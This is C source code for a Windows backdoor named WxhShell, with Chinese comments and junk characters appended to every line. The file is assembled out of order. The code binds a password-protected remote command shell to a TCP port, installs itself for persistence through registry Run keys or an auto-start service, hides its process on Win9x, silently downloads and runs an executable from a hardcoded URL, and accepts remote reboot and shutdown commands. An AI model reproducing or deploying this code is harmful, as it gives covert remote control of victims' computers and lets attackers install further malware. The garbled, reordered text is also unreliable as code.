  case 'd': { O6]~5&8U.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W[s>TDc`v  
    if(Boot(SHUTDOWN)) R3A^VE;qP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XT"c7]X  
    else { Gy%e%'  
    closesocket(wsh); 1O4"MeF  
    ExitThread(0); 0 HmRl  
    } 566Qik w2  
    break; lfP|+=^B  
    } pkx>6(Y  
  // 获取shell vKf=t&gqr  
  case 's': { g=Di2j{A  
    CmdShell(wsh); s=4.Ovd\  
    closesocket(wsh); 5@ug1F&   
    ExitThread(0); eHR<(8c'f  
    break; @@jdF-Utj;  
  } `Fj(g!`  
  // 退出 J^4k}  
  case 'x': { 2wCRT}C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8n?.w:Y/  
    CloseIt(wsh); tw66XxE  
    break; HJmO+  
    } [eRMlSXA  
  // 离开 Ay]5GA!W+  
  case 'q': { 5,C,q%2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Df (6DuW  
    closesocket(wsh); t=AR>M!w~  
    WSACleanup(); M %~kh"  
    exit(1); Hik[pVK@  
    break; 9&cZIP   
        } [@6iStRg7  
  } kns]P<g  
  } |+;"^<T)l  
2B7&Ll\>  
  // 提示信息 )Yml'?V"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?}[keSEh>  
} VM[8w`  
  } @d\F; o<  
"|if<hx+  
  return; YVT^}7#  
} DZue.or  
s><co]  
// shell模块句柄 AM>:At Y  
int CmdShell(SOCKET sock) JFZ p^{  
{ P*>V6SK>b  
STARTUPINFO si; ioggD  
ZeroMemory(&si,sizeof(si)); !_@%/I6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D_Y;N3E/rS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $Tg$FfD6&  
PROCESS_INFORMATION ProcessInfo; `;;!>rm  
char cmdline[]="cmd"; - g0>>{M'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i(WWF#N 5  
  return 0; 2xX7dl(cC  
} |{ k B`  
q`P:PRgM  
// 自身启动模式 `f'P  
int StartFromService(void) <mN3:G  
{ iX=*qiVX  
typedef struct Qxwe,:  
{ \1Zf Sc  
  DWORD ExitStatus; qb Q> z+c  
  DWORD PebBaseAddress; )n.peZ  
  DWORD AffinityMask; P]n ' q  
  DWORD BasePriority; S~T[*Z/m  
  ULONG UniqueProcessId; X 6)LpMm  
  ULONG InheritedFromUniqueProcessId; (k?OYz]c  
}   PROCESS_BASIC_INFORMATION; PsLCO(26  
!ZRV\31%  
PROCNTQSIP NtQueryInformationProcess; iQKfx#kt  
om1 / 9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L$g;^@j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pfT7  
(I$hw"%&  
  HANDLE             hProcess; AF@C9s  
  PROCESS_BASIC_INFORMATION pbi; _PIk,!<  
d1-QkW^0y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5M*p1^ >  
  if(NULL == hInst ) return 0; =F9-,"EAI  
/SiQw7yp%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^N]*Zf~N?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oW6.c]Vo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WCH>9Z>cj  
>9 iv>  
  if (!NtQueryInformationProcess) return 0; KvQ9R!V  
du !.j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "jSn`  
  if(!hProcess) return 0; sdb#K?l  
9;PtY dJ8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x RfX:3  
PF.HYtZqK  
  CloseHandle(hProcess); "ggq7cJ}_  
V|7 c dX#H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YW*ti|u|w  
if(hProcess==NULL) return 0; C RNO4  
vQ;Z 0_  
HMODULE hMod; 4 QWHGh"  
char procName[255]; -8]$a6`{_  
unsigned long cbNeeded; .FeEK(  
u% FA.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PYZ8@G  
]?^mb n  
  CloseHandle(hProcess); BsJClKp/  
W|:WAxJ*d  
if(strstr(procName,"services")) return 1; // 以服务启动 QZX+E   
WDcjj1`l  
  return 0; // 注册表启动 ~Y{K ^:wN^  
} ~%]+5^Ka]  
d/MMPge3  
// 主模块 ){v nmJJ%  
int StartWxhshell(LPSTR lpCmdLine) -{dw Ll_  
{ 7*sB"_U2  
  SOCKET wsl; j9%=^ZoQj  
BOOL val=TRUE; {'/8{dS  
  int port=0; >1YJETysO  
  struct sockaddr_in door; JH 8^ZP:d'  
r;-\z(h  
  if(wscfg.ws_autoins) Install(); =vR>KE  
kp[Jl0K5  
port=atoi(lpCmdLine); jN'zNOV~  
~!I \{(  
if(port<=0) port=wscfg.ws_port; j*GYYEY  
y&UsSS  
  WSADATA data; 7Xa Ri@uG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7z}NI,R}1  
TV}H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bFcI\Q{4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !(/dbHB  
  door.sin_family = AF_INET; :>|[ o&L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ).\%a h  
  door.sin_port = htons(port); `,J\E<4J  
L9T|*?||  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _s^sZ{'2_  
closesocket(wsl); Kg 56.$  
return 1; 2vynz,^ET  
} q:fkF^>  
8q_nOGd  
  if(listen(wsl,2) == INVALID_SOCKET) { LVX.stN#p  
closesocket(wsl); C&\#{m_1B  
return 1; d;K,2  
} \]zH M.E1  
  Wxhshell(wsl); u-D%: lz85  
  WSACleanup(); Ay[6rUO  
GujmBb  
return 0; 'Je;3"@  
06ZyR@.@v  
} uT_bA0jK  
)Zox;}WK+  
// 以NT服务方式启动 H?PaN)_6-+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d-X<+&VZ  
{ mk}8Cu4  
DWORD   status = 0; 1$4dzI()  
  DWORD   specificError = 0xfffffff; f mf(5  
svN& ~@ l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y6f YNB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @PutUYz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <d8 Yk>R  
  serviceStatus.dwWin32ExitCode     = 0; i6aM}p<  
  serviceStatus.dwServiceSpecificExitCode = 0; rOX\rI%0+  
  serviceStatus.dwCheckPoint       = 0; !Eu}ro.}  
  serviceStatus.dwWaitHint       = 0; 04o(05K  
T)MKhK9\Ab  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k*J0K=U|  
  if (hServiceStatusHandle==0) return; d-y8c  
V!u W\i/  
status = GetLastError(); nwf(`=TC  
  if (status!=NO_ERROR) (V&$KDOA  
{ w~Aw?75 t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v#TU7v?~  
    serviceStatus.dwCheckPoint       = 0; N^v"n*M0|  
    serviceStatus.dwWaitHint       = 0; |Y4c+6@_  
    serviceStatus.dwWin32ExitCode     = status; ^DD]jx  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9J*.'Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K9]L>Wj  
    return; + JsMYv  
  } bZLY#g7L"  
-a !?%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ka0MuQ M  
  serviceStatus.dwCheckPoint       = 0; uWkW T.>$  
  serviceStatus.dwWaitHint       = 0; ;ry~x:7L7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]De<'x}  
} XkDIP4v%  
I|(r1.[K  
// 处理NT服务事件,比如:启动、停止 "\3C)Nz?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~m3Q^ue  
{ MaN6bM  
switch(fdwControl) 3s;^p,9 Y  
{ *mby fu0q  
case SERVICE_CONTROL_STOP: ;?4EVZ#o  
  serviceStatus.dwWin32ExitCode = 0; %py3fzg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -%,=%FBi~4  
  serviceStatus.dwCheckPoint   = 0; k..AP<hH  
  serviceStatus.dwWaitHint     = 0; }20~5!  
  { uVN2}3!)Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f?W_/daP  
  }  4 Fl>XM  
  return; ]Q$Sei5  
case SERVICE_CONTROL_PAUSE: }p5_JXBV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kl_(4kQE_  
  break; 3$G &~A{  
case SERVICE_CONTROL_CONTINUE: g8k S}7/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zncKd{Q\tP  
  break; u.;l=tzz  
case SERVICE_CONTROL_INTERROGATE: VkFMr8@|  
  break; cDS \=Bf  
}; 52ExRG S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Xb,ne 7  
} 2ci[L:U  
z.lIlp2:  
// 标准应用程序主函数 =U'!<w<-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9k /L m  
{ AO, o|,#4F  
S#kYPe  
// 获取操作系统版本 s@zO`uBc  
OsIsNt=GetOsVer(); (1 (~r"4I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7>"dc+Fg  
/z! Tgs4  
  // 从命令行安装 bb  M^J  
  if(strpbrk(lpCmdLine,"iI")) Install(); dIW@L  
rU+3~|m  
  // 下载执行文件 1J([*)  
if(wscfg.ws_downexe) { =WT&unw}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o%7-<\qS  
  WinExec(wscfg.ws_filenam,SW_HIDE); Jr5dw=B gw  
} Me79:+d  
S4\a"WYg  
if(!OsIsNt) { +-C.E  
// 如果时win9x,隐藏进程并且设置为注册表启动 bgLa`8  
HideProc(); 4O<sE@X  
StartWxhshell(lpCmdLine); 'i',M+0>jC  
} S /"G=^~  
else 7r&lW<:>  
  if(StartFromService()) {xx}xib3  
  // 以服务方式启动 "}MP{/  
  StartServiceCtrlDispatcher(DispatchTable); {]2^b)  
else eAmI~oku  
  // 普通方式启动 Om^(CAp  
  StartWxhshell(lpCmdLine); &(oA/jFQ  
! c`&L_ "!  
return 0; M287Z[  
} ~7 `,}) d  
G9NI`]k  
3Q'vVNFh<  
/poGhB 1k  
=========================================== |.VSw  
^s6}[LDW>@  
}4N'as/ZO  
8OKG@hc  
qg{gCG  
7HkFDI()1  
" }f;WYz5  
:.4O Hp1  
#include <stdio.h> T%% 0W J  
#include <string.h> 9dq"x[  
#include <windows.h> }4p)UX>aWT  
#include <winsock2.h> Li]bU   
#include <winsvc.h> b"WF]x|^  
#include <urlmon.h> b"uO BB  
ckMG4 3i\j  
#pragma comment (lib, "Ws2_32.lib") \_WR:?l  
#pragma comment (lib, "urlmon.lib") %cLS*=MO  
PChew3  
#define MAX_USER   100 // 最大客户端连接数 C7ug\_,s  
#define BUF_SOCK   200 // sock buffer $2\ 8Rn6'  
#define KEY_BUFF   255 // 输入 buffer ~5'7u-;  
s3eS` rK-  
#define REBOOT     0   // 重启 UAPd["`)y  
#define SHUTDOWN   1   // 关机 Lo3N)~5  
/ cb`%"Z  
#define DEF_PORT   5000 // 监听端口 $m;`O_-T  
y{/7z}d  
#define REG_LEN     16   // 注册表键长度 0KnL{Cj   
#define SVC_LEN     80   // NT服务名长度 M^[;{p2uZ  
_tJt eDRY  
// 从dll定义API ]L97k(:Ib  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hH 5}%/vF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TKM^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4^uSW&`;/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KJRAW]?{  
"h#R>3I1)  
// wxhshell配置信息 g:z<CSIq/  
struct WSCFG { D#UuIZ  
  int ws_port;         // 监听端口 ''YqxJ fb  
  char ws_passstr[REG_LEN]; // 口令 I<O$);DV'  
  int ws_autoins;       // 安装标记, 1=yes 0=no N]w_9p~=1  
  char ws_regname[REG_LEN]; // 注册表键名 u [._RA  
  char ws_svcname[REG_LEN]; // 服务名 &nP0T-T5y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g E _+r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vx(*OQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /1MmOB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "aOs#4N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RqgN<&g?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U xBd14-R_  
kzKej"a;  
}; Ec!!9dgRQ  
S7)qq  
// default Wxhshell configuration U3X5tED  
struct WSCFG wscfg={DEF_PORT, EW|$qLg  
    "xuhuanlingzhe", ao2^3e  
    1, nS04Ha  
    "Wxhshell", .26mB Xr  
    "Wxhshell", eJ99W=  
            "WxhShell Service", lFGuQLuqA{  
    "Wrsky Windows CmdShell Service", &1$d`>fn  
    "Please Input Your Password: ", r|EN5  
  1, 4p,:}h  
  "http://www.wrsky.com/wxhshell.exe", EY)2,  
  "Wxhshell.exe" . :Skc  
    }; j:h}ka/!p  
\IE![=p\w  
// 消息定义模块 HohCb4do  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rS{}[$Zpl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iX$G($[l(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G IN|cv=  
char *msg_ws_ext="\n\rExit.";  !BsQJ_H  
char *msg_ws_end="\n\rQuit."; ~Jk& !IE2  
char *msg_ws_boot="\n\rReboot..."; ,B[j{sE  
char *msg_ws_poff="\n\rShutdown..."; ^+SE_-+]  
char *msg_ws_down="\n\rSave to "; 7q+D}+ Xf  
fZ$b8  
char *msg_ws_err="\n\rErr!"; T&lgWOls  
char *msg_ws_ok="\n\rOK!"; TI'v /=;)  
=vbG'_[7  
char ExeFile[MAX_PATH]; mux/\TII  
int nUser = 0; QWk3y"5n<  
HANDLE handles[MAX_USER]; YIg(^>sq  
int OsIsNt; J?9jD:x  
XVqOiv)  
SERVICE_STATUS       serviceStatus; S MWXP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KLyRb0V  
5MVa;m  
// 函数声明 R9U{r.AA  
int Install(void); 3>KEl^1DB  
int Uninstall(void); )i~AXBt}  
int DownloadFile(char *sURL, SOCKET wsh); iApq!u,  
int Boot(int flag); fOV_ >]u  
void HideProc(void); lI<jYd 0fZ  
int GetOsVer(void); GGp.u@\r  
int Wxhshell(SOCKET wsl); @@AL@.*  
void TalkWithClient(void *cs); w}ji]V}  
int CmdShell(SOCKET sock); Zz0bd473k?  
int StartFromService(void); &BRk<iwV  
int StartWxhshell(LPSTR lpCmdLine); L[x`i'0B  
/eI|m9ke  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G&ck98  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0 0N[ : %  
P.y +jyu  
// 数据结构和表定义 AJ\&>6GZ(b  
SERVICE_TABLE_ENTRY DispatchTable[] = J].Oxch&y  
{ $-}&RW9  
{wscfg.ws_svcname, NTServiceMain}, ?{ N,&d  
{NULL, NULL} IrMH AM5K  
};  >Uw:cq  
+<a\0FsD  
// 自我安装 jE*{^+n  
int Install(void) 7*l$ i/!  
{ l =E86"m  
  char svExeFile[MAX_PATH]; A7% d  
  HKEY key; lU{)%4e`  
  strcpy(svExeFile,ExeFile); $Zu?Gd?  
+V4)><  
// 如果是win9x系统,修改注册表设为自启动 #*o0n>O  
if(!OsIsNt) { :W.H#@'(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rYb5#aT[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |J-X3`^\H  
  RegCloseKey(key); WC#6(H5t$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V&*IZt&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Gsh%0r3  
  RegCloseKey(key); \O5L#dc#  
  return 0; F7DA~G!  
    } =I# pXL  
  } YnEyL2SuU  
} 'H5 30Y\  
else { I0m7;M7 P  
@7Ec(]yp  
// 如果是NT以上系统,安装为系统服务 t7f(%/] H0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); > Vm}u`x  
if (schSCManager!=0) S%iK);  
{ `?z('FV  
  SC_HANDLE schService = CreateService N3%#JdzZ$  
  ( B!wN%> U  
  schSCManager, 8,U~ p<Gz  
  wscfg.ws_svcname, !D=!  
  wscfg.ws_svcdisp, b j&!$')  
  SERVICE_ALL_ACCESS, 2FMmANH0ev  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , riIubX#  
  SERVICE_AUTO_START, GW A T0  
  SERVICE_ERROR_NORMAL, Ui'v ' $  
  svExeFile, t]h_w7!U  
  NULL, #Zdh<.   
  NULL, o%_-u +  
  NULL, /HdXJL9B  
  NULL, 1dN/H)]  
  NULL r8EJ@pOF2w  
  ); @Tu`0 =8  
  if (schService!=0) " .7@  
  { L1SX2F8  
  CloseServiceHandle(schService); ?w:\0j5 ~  
  CloseServiceHandle(schSCManager); D_l$"35?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zDvV%+RW)  
  strcat(svExeFile,wscfg.ws_svcname); $MR1 *_\V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ctP+ECH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n9Fq^^?  
  RegCloseKey(key); evyjHcCx  
  return 0; f Fi=/}  
    } Xh8U}w<k6  
  } ^T&{ORWz  
  CloseServiceHandle(schSCManager); WsHD Ip  
} fEBi'Ad  
} d]E=w6 +;Q  
 .\oz  
return 1; 5gf ~/Zr  
} |Yli~Qx  
HhynU/36  
// 自我卸载 2 5~Z%_?  
int Uninstall(void) QD-\'Bp/X  
{ /nO_ e  
  HKEY key; TzKM~a#  
<V^o.4mOg>  
if(!OsIsNt) { HM% +Y47a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U^_\V BAk  
  RegDeleteValue(key,wscfg.ws_regname); %Xc,l Y1?  
  RegCloseKey(key); :W)lt28_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I bD u+~)  
  RegDeleteValue(key,wscfg.ws_regname); tR!C8:u  
  RegCloseKey(key); |>ztx}\  
  return 0; )<QX2~m<  
  } ~>@~U]  
} ew\:&"@2]w  
} &b (*  
else { k+"];  
v~OMm \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;r@=[h   
if (schSCManager!=0) ,a>Dv@$Y  
{ vv)q&,<c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;pm/nu  
  if (schService!=0) ;MQl.?vj  
  { N:B<5l '  
  if(DeleteService(schService)!=0) { t^&hG7L_m,  
  CloseServiceHandle(schService); !60U^\  
  CloseServiceHandle(schSCManager); ndFVP;q  
  return 0; X@kgc&`0  
  } 1tY+0R  
  CloseServiceHandle(schService); 6$OmOCA%  
  } ./I?|ih  
  CloseServiceHandle(schSCManager); u0W6u} 4;  
} #H6YI3 `G  
} )xVf3l pQ  
|M?s[}ll  
return 1; ,=e.Q AF!"  
} N_92,xI#  
{`):X_$T  
// 从指定url下载文件 yV`Tw"p  
int DownloadFile(char *sURL, SOCKET wsh) S/oD`   
{ XVN JK-B  
  HRESULT hr; %vO(.A+  
char seps[]= "/"; `\@n&y[`7  
char *token; oLkzLJ  
char *file; Ys.GBSlHG  
char myURL[MAX_PATH]; .-YE(}^  
char myFILE[MAX_PATH]; 3D6&0xTq  
53hX%{3  
strcpy(myURL,sURL); &B5&:ib1D  
  token=strtok(myURL,seps); `a52{Wa  
  while(token!=NULL) d%I7OBBx@  
  { o~'p&f  
    file=token; ^Zvb3RJg  
  token=strtok(NULL,seps); GLIY!BU<C  
  } )&E]   
 3*Q=)}  
GetCurrentDirectory(MAX_PATH,myFILE); - "zW"v)\  
strcat(myFILE, "\\"); ;'Hu75ymo  
strcat(myFILE, file); 8GBKFNR 8  
  send(wsh,myFILE,strlen(myFILE),0); E q4tcZ  
send(wsh,"...",3,0); #6a!OQj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l[~$9C'ji  
  if(hr==S_OK) xbi\KT`~  
return 0; ZklO9Ox(  
else |*48J1:1y  
return 1; jW7ffb `O  
; o'>`=Y  
} )*_G/<N) |  
.(/HUQn  
// 系统电源模块 aA$\iFYA  
int Boot(int flag) ,|z@ Dy  
{ 7(D)U)9h  
  HANDLE hToken; Pek[j)g}  
  TOKEN_PRIVILEGES tkp; FI:H/e5[  
Zrwd  
  if(OsIsNt) { jvv=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y_>DszRN`u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $hc=H  
    tkp.PrivilegeCount = 1; &bq1n_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xyo~p,(~t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +@uA  
if(flag==REBOOT) { &~;M16XM,e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +-b'+mF  
  return 0; Wtaz@ +  
} xKUWj<+/  
else { |11vm#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^>%.l'1/(  
  return 0; #9s)fR  
} {Y/0BS2D  
  } i+5Qs-dHA  
  else { 6Br^Ugy  
if(flag==REBOOT) { :Z/\U*6~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pq]z%\$u  
  return 0; W\-`}{B_/  
} 2ZV; GS#  
else { 3~R,)fO;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /$clk=  
  return 0; :' 5J[]J  
} J0vQqTaT  
} P(yLRc  
EKO'S+~  
return 1; :LB*l5\  
} ~)#E?:h5  
&0f/F:M  
// win9x进程隐藏模块 &u^]YE{  
void HideProc(void) F3vywN1$,  
{ 0'f\>4B  
59$PWfi-\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?7pn%_S  
  if ( hKernel != NULL ) > dVhIbG  
  { tq,^!RSbZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #/Ob_~-?j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =\u,4  
    FreeLibrary(hKernel); |Isn<|_  
  } SFh<>J^ 0a  
!YpH\wUyvP  
return; 8&HBR #  
} uX!6: v]  
iVnMn1h  
// 获取操作系统版本 {/)i}V#RE  
int GetOsVer(void) vN v'%;L  
{ H!0m8LCnb  
  OSVERSIONINFO winfo; _\yR/W~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]%-U~avph  
  GetVersionEx(&winfo); Uc_ }="  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g$2#TWW5  
  return 1; [;aM8N  
  else |wJdp,q R  
  return 0; $bp$[fX(e  
} G6{'|CV  
}D!tB  
// 客户端句柄模块 .fqy[qrM  
int Wxhshell(SOCKET wsl) 7bbFUUUG"  
{ HCrQ+r{g  
  SOCKET wsh; 9;I%Dv  
  struct sockaddr_in client; ._>03,"  
  DWORD myID; !0? B=yA  
byE0Z vDM  
  while(nUser<MAX_USER) LH}9&FfjU  
{ VJw7defc  
  int nSize=sizeof(client); &n8Ja@Y]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I)#8}[vK  
  if(wsh==INVALID_SOCKET) return 1; rSt5 @f?  
'hWA&Xx +  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m;4ti9  
if(handles[nUser]==0) ceJ#>Rj  
  closesocket(wsh); "9^b1UH<  
else :sK4mRF  
  nUser++; M]k Q{(  
  } xMQ>,nZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); At[Q0'jkc  
|*w)]2B l  
  return 0; rZ+4kf6S   
} e(0 cz6  
9[X'9* ,  
// 关闭 socket KwMt@1Z  
void CloseIt(SOCKET wsh) Fhllqh)  
{ k7@QFw4 j  
closesocket(wsh); ]=ApYg7!  
nUser--; @=AQr4&  
ExitThread(0); Vb#a ,t  
} !%}n9vr!}\  
)M"NMUuU"  
// 客户端请求句柄 e<{ d{  
void TalkWithClient(void *cs) ,J+L_S+B~  
{ 9XQE5^  
W+u,[_  
  SOCKET wsh=(SOCKET)cs; 6&'kN 2  
  char pwd[SVC_LEN]; wXp:XZ:]T  
  char cmd[KEY_BUFF]; QsxvA;7%  
char chr[1]; ?[bE/Ya+S  
int i,j; 2V% z=  
&d6ud |  
  while (nUser < MAX_USER) { yU/?4/G!  
9 4H')(  
if(wscfg.ws_passstr) { t\QLj&h}E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); glo G_*W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |uz<)  
  //ZeroMemory(pwd,KEY_BUFF); <Qv/# k  
      i=0; \reVA$M [  
  while(i<SVC_LEN) { 1E||ft-1i*  
XRkUv>Yk  
  // 设置超时 ><IWF#kUA  
  fd_set FdRead; IEm~^D#<=  
  struct timeval TimeOut; (||qFu9a  
  FD_ZERO(&FdRead); 'ParMT  
  FD_SET(wsh,&FdRead); 8Uh|V&  
  TimeOut.tv_sec=8; 6Hb a@Q1`  
  TimeOut.tv_usec=0; z__t8yc3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PN9vg9'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a%HNz_ro  
b"#S92R+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s&o9LdL  
  pwd=chr[0]; I:oEt  
  if(chr[0]==0xd || chr[0]==0xa) { 3'6 UvAXFH  
  pwd=0; w[l#0ZZ  
  break; rxMo7px@}I  
  } d>I)_05t  
  i++; NTZ3Np`  
    } kq(><T  
2.Ww(`swL  
  // 如果是非法用户,关闭 socket <G<5)$ S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uSI@Cjp  
} Y R~e_cA:  
:ln| n6X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %=2sz>M+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4<}@hk Y  
]smu~t0\  
while(1) { :, v(l q  
v,Z]Vqk  
  ZeroMemory(cmd,KEY_BUFF); (ot56`,k  
.eVX/6,  
      // 自动支持客户端 telnet标准   gn/]1NNfR  
  j=0; O^./) #!#  
  while(j<KEY_BUFF) { SfPQ;s'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,vvfk=-  
  cmd[j]=chr[0]; 8Vn   
  if(chr[0]==0xa || chr[0]==0xd) { wDoCc:  
  cmd[j]=0; c-NUD$  
  break; &@{`{  
  } &I)tI^P}  
  j++; 8r[TM  
    } ?P|z,n{  
h"8[1 ;  
  // 下载文件 ,MJddbcg  
  if(strstr(cmd,"http://")) { KLG.?`h:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .WN&]yr,  
  if(DownloadFile(cmd,wsh)) |zfFB7}v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mi(6HMA.SF  
  else 7=X6_AD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^J^~5q8  
